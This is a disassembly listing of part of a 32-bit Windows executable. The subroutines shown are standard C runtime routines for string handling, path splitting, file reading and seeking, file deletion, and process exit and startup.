; sub_40E2E2+35j ...
lea eax, [ebp+var_CC]
push eax
call dword_418120 ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz short loc_40E374
cmp eax, 2
jnz short loc_40E370
cmp [ebp+var_32], 0
jz short loc_40E370
cmp [ebp+var_24], 0
jz short loc_40E370
push 1
pop eax
jmp short loc_40E377
; ---------------------------------------------------------------------------
loc_40E370: ; CODE XREF: sub_40E2E2+7Aj
; sub_40E2E2+81j ...
xor eax, eax
jmp short loc_40E377
; ---------------------------------------------------------------------------
loc_40E374: ; CODE XREF: sub_40E2E2+75j
or eax, 0FFFFFFFFh
loc_40E377: ; CODE XREF: sub_40E2E2+8Cj
; sub_40E2E2+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_481DA8
movsd
movsd
movsd
movsd
pop edi
mov dword_481DA0, eax
pop esi
loc_40E38C: ; CODE XREF: sub_40E2E2+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_413393
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_40E3BC
mov [ecx], eax
locret_40E3BC: ; CODE XREF: sub_40E2E2+D6j
leave
retn
sub_40E2E2 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40E3C0 proc near ; CODE XREF: sub_4051D9+75p
; sub_4077FD+40Cp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_40E431
sub_40E3C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40E3D0 proc near ; CODE XREF: sub_4051D9+6Ep
; sub_4077FD+415p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_40E3EC
loc_40E3DD: ; CODE XREF: sub_40E3D0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_40E41F
test ecx, 3
jnz short loc_40E3DD
loc_40E3EC: ; CODE XREF: sub_40E3D0+Bj
; sub_40E3D0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40E3EC
mov eax, [ecx-4]
test al, al
jz short loc_40E42E
test ah, ah
jz short loc_40E429
test eax, 0FF0000h
jz short loc_40E424
test eax, 0FF000000h
jz short loc_40E41F
jmp short loc_40E3EC
; ---------------------------------------------------------------------------
loc_40E41F: ; CODE XREF: sub_40E3D0+12j
; sub_40E3D0+4Bj
lea edi, [ecx-1]
jmp short loc_40E431
; ---------------------------------------------------------------------------
loc_40E424: ; CODE XREF: sub_40E3D0+44j
lea edi, [ecx-2]
jmp short loc_40E431
; ---------------------------------------------------------------------------
loc_40E429: ; CODE XREF: sub_40E3D0+3Dj
lea edi, [ecx-3]
jmp short loc_40E431
; ---------------------------------------------------------------------------
loc_40E42E: ; CODE XREF: sub_40E3D0+39j
lea edi, [ecx-4]
loc_40E431: ; CODE XREF: sub_40E3C0+5j
; sub_40E3D0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_40E456
loc_40E43D: ; CODE XREF: sub_40E3D0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_40E4A8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_40E43D
jmp short loc_40E456
; ---------------------------------------------------------------------------
loc_40E451: ; CODE XREF: sub_40E3D0+9Ej
; sub_40E3D0+B8j
mov [edi], edx
add edi, 4
loc_40E456: ; CODE XREF: sub_40E3D0+6Bj
; sub_40E3D0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_40E451
test dl, dl
jz short loc_40E4A8
test dh, dh
jz short loc_40E49F
test edx, 0FF0000h
jz short loc_40E492
test edx, 0FF000000h
jz short loc_40E48A
jmp short loc_40E451
; ---------------------------------------------------------------------------
loc_40E48A: ; CODE XREF: sub_40E3D0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40E492: ; CODE XREF: sub_40E3D0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_40E49F: ; CODE XREF: sub_40E3D0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40E4A8: ; CODE XREF: sub_40E3D0+72j
; sub_40E3D0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_40E3D0 endp
; =============== S U B R O U T I N E =======================================
sub_40E4B0 proc near ; CODE XREF: sub_4051D9+31p
; sub_407041+132p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_40E52A
mov dh, [ecx+1]
test dh, dh
jz short loc_40E517
loc_40E4C8: ; CODE XREF: sub_40E4B0+52j
; sub_40E4B0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_40E4EA
test al, al
jz short loc_40E4E4
loc_40E4D9: ; CODE XREF: sub_40E4B0+32j
mov al, [esi]
inc esi
loc_40E4DC: ; CODE XREF: sub_40E4B0+3Fj
cmp al, dl
jz short loc_40E4EA
test al, al
jnz short loc_40E4D9
loc_40E4E4: ; CODE XREF: sub_40E4B0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40E4EA: ; CODE XREF: sub_40E4B0+23j
; sub_40E4B0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_40E4DC
lea edi, [esi-1]
loc_40E4F4: ; CODE XREF: sub_40E4B0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_40E523
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_40E4C8
mov al, [ecx+3]
test al, al
jz short loc_40E523
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_40E4F4
jmp short loc_40E4C8
; ---------------------------------------------------------------------------
loc_40E517: ; CODE XREF: sub_40E4B0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_40E616
; ---------------------------------------------------------------------------
loc_40E523: ; CODE XREF: sub_40E4B0+49j
; sub_40E4B0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_40E52A: ; CODE XREF: sub_40E4B0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_40E4B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E530 proc near ; CODE XREF: sub_411DAE+9p
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_481E4C, 0
push ebx
push esi
push edi
jnz short loc_40E55D
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_40E5F6
cmp eax, 5Ah
jg loc_40E5F6
add eax, 20h
jmp loc_40E5F6
; ---------------------------------------------------------------------------
loc_40E55D: ; CODE XREF: sub_40E530+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_40E591
cmp dword_422004, esi
jle short loc_40E57F
push esi
push ebx
call sub_412B49
pop ecx
pop ecx
jmp short loc_40E589
; ---------------------------------------------------------------------------
loc_40E57F: ; CODE XREF: sub_40E530+42j
mov eax, off_421DF8
mov al, [eax+ebx*2]
and eax, esi
loc_40E589: ; CODE XREF: sub_40E530+4Dj
test eax, eax
jnz short loc_40E591
loc_40E58D: ; CODE XREF: sub_40E530+ADj
mov eax, ebx
jmp short loc_40E5F6
; ---------------------------------------------------------------------------
loc_40E591: ; CODE XREF: sub_40E530+3Aj
; sub_40E530+5Bj
mov edx, off_421DF8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_40E5B5
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_40E5BE
; ---------------------------------------------------------------------------
loc_40E5B5: ; CODE XREF: sub_40E530+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_40E5BE: ; CODE XREF: sub_40E530+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_481E4C
call sub_413455
add esp, 20h
test eax, eax
jz short loc_40E58D
cmp eax, esi
jnz short loc_40E5E9
movzx eax, [ebp+var_4]
jmp short loc_40E5F6
; ---------------------------------------------------------------------------
loc_40E5E9: ; CODE XREF: sub_40E530+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_40E5F6: ; CODE XREF: sub_40E530+16j
; sub_40E530+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_40E530 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_40E610
loc_40E600: ; CODE XREF: sub_40E610+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_40E610
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40E610 proc near ; CODE XREF: sub_40570A+21p
; sub_4077FD+3F1p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0040E600 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_40E616: ; CODE XREF: sub_40E4B0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_40E63B
loc_40E628: ; CODE XREF: sub_40E610+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_40E600
test cl, cl
jz short loc_40E684
test edx, 3
jnz short loc_40E628
loc_40E63B: ; CODE XREF: sub_40E610+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_40E646: ; CODE XREF: sub_40E610+61j
; sub_40E610+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_40E688
and eax, 81010100h
jz short loc_40E646
and eax, 1010100h
jnz short loc_40E682
and esi, 80000000h
jnz short loc_40E646
loc_40E682: ; CODE XREF: sub_40E610+68j
; sub_40E610+81j ...
pop esi
pop edi
loc_40E684: ; CODE XREF: sub_40E610+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40E688: ; CODE XREF: sub_40E610+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_40E6C5
test al, al
jz short loc_40E682
cmp ah, bl
jz short loc_40E6BE
test ah, ah
jz short loc_40E682
shr eax, 10h
cmp al, bl
jz short loc_40E6B7
test al, al
jz short loc_40E682
cmp ah, bl
jz short loc_40E6B0
test ah, ah
jz short loc_40E682
jmp short loc_40E646
; ---------------------------------------------------------------------------
loc_40E6B0: ; CODE XREF: sub_40E610+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40E6B7: ; CODE XREF: sub_40E610+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40E6BE: ; CODE XREF: sub_40E610+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40E6C5: ; CODE XREF: sub_40E610+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_40E610 endp
; =============== S U B R O U T I N E =======================================
sub_40E6CC proc near ; CODE XREF: sub_4069FF+238p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_40E6E3
loc_40E6D9: ; CODE XREF: sub_40E6CC+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_40E6D9
loc_40E6E3: ; CODE XREF: sub_40E6CC+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_40E6CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E6E9 proc near ; CODE XREF: sub_4077FD+AEp
; sub_4077FD+C1p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_40E702: ; CODE XREF: sub_40E6E9+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_40E702
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_40E72A
mov edx, dword_481DB8
loc_40E72A: ; CODE XREF: sub_40E6E9+39j
; sub_40E6E9+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_40E74A
test al, al
jz short loc_40E74A
inc edx
jmp short loc_40E72A
; ---------------------------------------------------------------------------
loc_40E74A: ; CODE XREF: sub_40E6E9+58j
; sub_40E6E9+5Cj
mov ebx, edx
loc_40E74C: ; CODE XREF: sub_40E6E9+81j
mov al, [edx]
test al, al
jz short loc_40E770
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_40E76C
inc edx
jmp short loc_40E74C
; ---------------------------------------------------------------------------
loc_40E76C: ; CODE XREF: sub_40E6E9+7Ej
and byte ptr [edx], 0
inc edx
loc_40E770: ; CODE XREF: sub_40E6E9+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_481DB8, edx
and eax, ebx
pop ebx
leave
retn
sub_40E6E9 endp
; =============== S U B R O U T I N E =======================================
sub_40E785 proc near ; CODE XREF: sub_40EB84+93p
mov eax, off_41FC4C
test eax, eax
jz short loc_40E790
call eax ; sub_40CEB9
loc_40E790: ; CODE XREF: sub_40E785+7j
push offset dword_41A024
push offset dword_41A010
call sub_40E86D
push offset dword_41A00C
push offset dword_41A000
call sub_40E86D
add esp, 10h
retn
sub_40E785 endp
; =============== S U B R O U T I N E =======================================
sub_40E7B2 proc near ; CODE XREF: sub_40EB84+D2p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_40E7D4
add esp, 0Ch
retn
sub_40E7B2 endp
; =============== S U B R O U T I N E =======================================
sub_40E7C3 proc near ; CODE XREF: .nsp0:0040EC75p
; sub_40EC7A+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_40E7D4
add esp, 0Ch
retn
sub_40E7C3 endp
; =============== S U B R O U T I N E =======================================
sub_40E7D4 proc near ; CODE XREF: sub_40E7B2+8p
; sub_40E7C3+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_481E04, edi
jnz short loc_40E7F1
push [esp+4+arg_0]
call dword_4180D4 ; GetCurrentProcess
push eax
call dword_4180D8 ; TerminateProcess
loc_40E7F1: ; CODE XREF: sub_40E7D4+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_481E00, edi
mov byte_481DFC, bl
jnz short loc_40E845
mov eax, dword_48343C
test eax, eax
jz short loc_40E834
mov ecx, dword_483438
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_40E833
loc_40E820: ; CODE XREF: sub_40E7D4+5Dj
mov eax, [esi]
test eax, eax
jz short loc_40E828
call eax
loc_40E828: ; CODE XREF: sub_40E7D4+50j
sub esi, 4
cmp esi, dword_48343C
jnb short loc_40E820
loc_40E833: ; CODE XREF: sub_40E7D4+4Aj
pop esi
loc_40E834: ; CODE XREF: sub_40E7D4+3Cj
push offset dword_41A030
push offset dword_41A028
call sub_40E86D
pop ecx
pop ecx
loc_40E845: ; CODE XREF: sub_40E7D4+33j
push offset dword_41A03C
push offset dword_41A034
call sub_40E86D
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_40E86B
push [esp+4+arg_0]
mov dword_481E04, edi
call dword_418074 ; ExitProcess
loc_40E86B: ; CODE XREF: sub_40E7D4+85j
pop edi
retn
sub_40E7D4 endp
; =============== S U B R O U T I N E =======================================
sub_40E86D proc near ; CODE XREF: sub_40E785+15p
; sub_40E785+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_40E872: ; CODE XREF: sub_40E86D+16j
cmp esi, [esp+4+arg_4]
jnb short loc_40E885
mov eax, [esi]
test eax, eax
jz short loc_40E880
call eax
loc_40E880: ; CODE XREF: sub_40E86D+Fj
add esi, 4
jmp short loc_40E872
; ---------------------------------------------------------------------------
loc_40E885: ; CODE XREF: sub_40E86D+9j
pop esi
retn
sub_40E86D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E887 proc near ; CODE XREF: sub_407041+FFp
; sub_40B807+1E3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_40CBC0
cmp eax, 1
pop ecx
jb short loc_40E8C2
cmp byte ptr [ebx+1], 3Ah
jnz short loc_40E8C2
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_40E8BE
push 2
push ebx
push esi
call sub_413A59
add esp, 0Ch
and byte ptr [esi+2], 0
loc_40E8BE: ; CODE XREF: sub_40E887+25j
inc ebx
inc ebx
jmp short loc_40E8CC
; ---------------------------------------------------------------------------
loc_40E8C2: ; CODE XREF: sub_40E887+18j
; sub_40E887+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_40E8CC
and byte ptr [eax], 0
loc_40E8CC: ; CODE XREF: sub_40E887+39j
; sub_40E887+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_40E944
loc_40E8DF: ; CODE XREF: sub_40E887+87j
mov cl, [eax]
movzx edx, cl
test byte_483301[edx], 4
jz short loc_40E8F0
inc eax
jmp short loc_40E90A
; ---------------------------------------------------------------------------
loc_40E8F0: ; CODE XREF: sub_40E887+64j
cmp cl, 2Fh
jz short loc_40E904
cmp cl, 5Ch
jz short loc_40E904
cmp cl, 2Eh
jnz short loc_40E90A
mov [ebp+var_4], eax
jmp short loc_40E90A
; ---------------------------------------------------------------------------
loc_40E904: ; CODE XREF: sub_40E887+6Cj
; sub_40E887+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_40E90A: ; CODE XREF: sub_40E887+67j
; sub_40E887+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_40E8DF
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_40E944
cmp [ebp+arg_8], 0
jz short loc_40E93F
sub edi, ebx
cmp edi, esi
jb short loc_40E928
mov edi, esi
loc_40E928: ; CODE XREF: sub_40E887+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_413A59
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_40E93F: ; CODE XREF: sub_40E887+97j
mov ebx, [ebp+arg_4]
jmp short loc_40E94E
; ---------------------------------------------------------------------------
loc_40E944: ; CODE XREF: sub_40E887+56j
; sub_40E887+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_40E94E
and byte ptr [ecx], 0
loc_40E94E: ; CODE XREF: sub_40E887+BBj
; sub_40E887+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_40E9A1
cmp edi, ebx
jb short loc_40E9A1
cmp [ebp+arg_C], 0
jz short loc_40E97E
sub edi, ebx
cmp edi, esi
jb short loc_40E967
mov edi, esi
loc_40E967: ; CODE XREF: sub_40E887+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_413A59
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_40E97E: ; CODE XREF: sub_40E887+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_40E9C9
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_40E98E
mov esi, eax
loc_40E98E: ; CODE XREF: sub_40E887+103j
push esi
push [ebp+var_4]
push edi
call sub_413A59
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_40E9C9
; ---------------------------------------------------------------------------
loc_40E9A1: ; CODE XREF: sub_40E887+CCj
; sub_40E887+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_40E9BF
sub eax, ebx
cmp eax, esi
jnb short loc_40E9B0
mov esi, eax
loc_40E9B0: ; CODE XREF: sub_40E887+125j
push esi
push ebx
push edi
call sub_413A59
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_40E9BF: ; CODE XREF: sub_40E887+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_40E9C9
and byte ptr [eax], 0
loc_40E9C9: ; CODE XREF: sub_40E887+FCj
; sub_40E887+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40E887 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9CE proc near ; CODE XREF: sub_4077FD+2A29p
; sub_4077FD+2A56p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_40E9E2
xor eax, eax
jmp short loc_40EA18
; ---------------------------------------------------------------------------
loc_40E9E2: ; CODE XREF: sub_40E9CE+Ej
dec [ebp+arg_4]
push esi
jz short loc_40EA12
mov esi, [ebp+arg_8]
loc_40E9EB: ; CODE XREF: sub_40E9CE+42j
dec dword ptr [esi+4]
js short loc_40E9FA
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_40EA01
; ---------------------------------------------------------------------------
loc_40E9FA: ; CODE XREF: sub_40E9CE+20j
push esi
call sub_412DA9
pop ecx
loc_40EA01: ; CODE XREF: sub_40E9CE+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_40EA1C
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_40EA12
dec [ebp+arg_4]
jnz short loc_40E9EB
loc_40EA12: ; CODE XREF: sub_40E9CE+18j
; sub_40E9CE+3Dj ...
and byte ptr [edi], 0
loc_40EA15: ; CODE XREF: sub_40E9CE+55j
mov eax, ebx
pop esi
loc_40EA18: ; CODE XREF: sub_40E9CE+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40EA1C: ; CODE XREF: sub_40E9CE+36j
cmp edi, [ebp+arg_0]
jnz short loc_40EA12
xor ebx, ebx
jmp short loc_40EA15
sub_40E9CE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EA30 proc near ; CODE XREF: sub_4077FD+1DBBp
; sub_4077FD+1DD9p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_40EA51
xor eax, eax
jmp short loc_40EA53
; ---------------------------------------------------------------------------
loc_40EA51: ; CODE XREF: sub_40EA30+1Bj
mov eax, edi
loc_40EA53: ; CODE XREF: sub_40EA30+1Fj
cld
pop edi
leave
retn
sub_40EA30 endp
; =============== S U B R O U T I N E =======================================
sub_40EA57 proc near ; CODE XREF: sub_4077FD+1936p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4180E8 ; DeleteFileA
test eax, eax
jnz short loc_40EA6D
call dword_418044 ; RtlGetLastWin32Error
jmp short loc_40EA6F
; ---------------------------------------------------------------------------
loc_40EA6D: ; CODE XREF: sub_40EA57+Cj
xor eax, eax
loc_40EA6F: ; CODE XREF: sub_40EA57+14j
test eax, eax
jz short loc_40EA7E
push eax
call sub_413260
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40EA7E: ; CODE XREF: sub_40EA57+1Aj
xor eax, eax
retn
sub_40EA57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EA81 proc near ; CODE XREF: sub_4077FD+18A4p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_413AE3
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40EDD8
push [ebp+arg_0]
mov edi, eax
push esi
call sub_413B70
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_40EA81 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAC0 proc near ; CODE XREF: sub_4077FD+7A9p
; sub_40BB81+2ACp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_40EAF1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_40EAEF
jz short loc_40EAF1
dec ecx
dec ecx
loc_40EAEF: ; CODE XREF: sub_40EAC0+29j
not ecx
loc_40EAF1: ; CODE XREF: sub_40EAC0+9j
; sub_40EAC0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_40EAC0 endp
; =============== S U B R O U T I N E =======================================
sub_40EAF8 proc near ; CODE XREF: sub_40BB81+2E2p
; sub_40BB81+42Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_40EB74
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EB17
cmp edi, 1
jz short loc_40EB17
cmp edi, 2
jnz short loc_40EB74
loc_40EB17: ; CODE XREF: sub_40EAF8+13j
; sub_40EAF8+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_40EB2E
push esi
call sub_413C47
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_40EB2E: ; CODE XREF: sub_40EAF8+27j
push esi
call sub_412CD7
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_40EB43
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_40EB57
; ---------------------------------------------------------------------------
loc_40EB43: ; CODE XREF: sub_40EAF8+42j
test al, 1
jz short loc_40EB57
test al, 8
jz short loc_40EB57
test ah, 4
jnz short loc_40EB57
mov dword ptr [esi+18h], 200h
loc_40EB57: ; CODE XREF: sub_40EAF8+49j
; sub_40EAF8+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_413BAD
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_40EB81
; ---------------------------------------------------------------------------
loc_40EB74: ; CODE XREF: sub_40EAF8+Bj
; sub_40EAF8+1Dj
mov dword_481DBC, 16h
or eax, 0FFFFFFFFh
loc_40EB81: ; CODE XREF: sub_40EAF8+7Aj
pop edi
pop esi
retn
sub_40EAF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB84 proc near ; CODE XREF: start+272j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_418640
push offset sub_414568
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call dword_418130 ; GetVersion
xor edx, edx
mov dl, ah
mov dword_481DD4, edx
mov ecx, eax
and ecx, 0FFh
mov dword_481DD0, ecx
shl ecx, 8
add ecx, edx
mov dword_481DCC, ecx
shr eax, 10h
mov dword_481DC8, eax
xor esi, esi
push esi
call sub_410223
pop ecx
